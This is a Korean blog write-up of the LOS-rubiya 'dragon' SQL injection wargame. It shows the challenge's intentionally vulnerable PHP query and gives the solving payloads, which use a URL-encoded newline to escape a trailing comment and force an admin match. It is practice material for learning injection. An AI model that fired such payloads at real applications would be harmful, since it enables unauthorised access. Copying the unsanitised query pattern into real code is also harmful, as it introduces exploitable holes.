vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • forensic artifacts
  • Thumbcache
  • sql injection
  • Windows Artifact
  • webhacking.kr
  • Artifacts
  • iconcahce
  • trim
  • ssd
  • shellbag forensics
  • File Execution
  • Digital-Forensic
  • Digital Forensic
  • forensic-cheatsheet
  • JavaScript
  • shellbag
  • digital-forensics
  • Los
  • LNK FIile

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared

vared - Blog

WriteUp/LOS_rubiya

LOS-rubiya : dragon

2020. 8. 26. 10:34
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

입력은 pw로만 주고있는데, 주석이 앞에 있다. 개행해서 입력해주면 되겠다.

%0a 이용하자.

 

?pw=1' %0a or id='admin'%23 이렇게 하면 guest로 로그인 된다.

 

?pw='%0a and id='admin' or id='admin'%23

앞부분을 false로 만들어주고 하면 된다.

 

 

저작자표시 (새창열림)

'WriteUp > LOS_rubiya' 카테고리의 다른 글

LOS-rubiya : dark_eyes  (0) 2020.08.26
LOS-rubiya : iron_golem  (0) 2020.08.26
LOS-rubiya : xavis  (0) 2020.08.26
LOS-rubiya : nightmare  (0) 2020.08.03
LOS-rubiya : Zombie_assassin  (0) 2020.08.03
    'WriteUp/LOS_rubiya' 카테고리의 다른 글
    • LOS-rubiya : dark_eyes
    • LOS-rubiya : iron_golem
    • LOS-rubiya : xavis
    • LOS-rubiya : nightmare
    vared
    vared

    티스토리툴바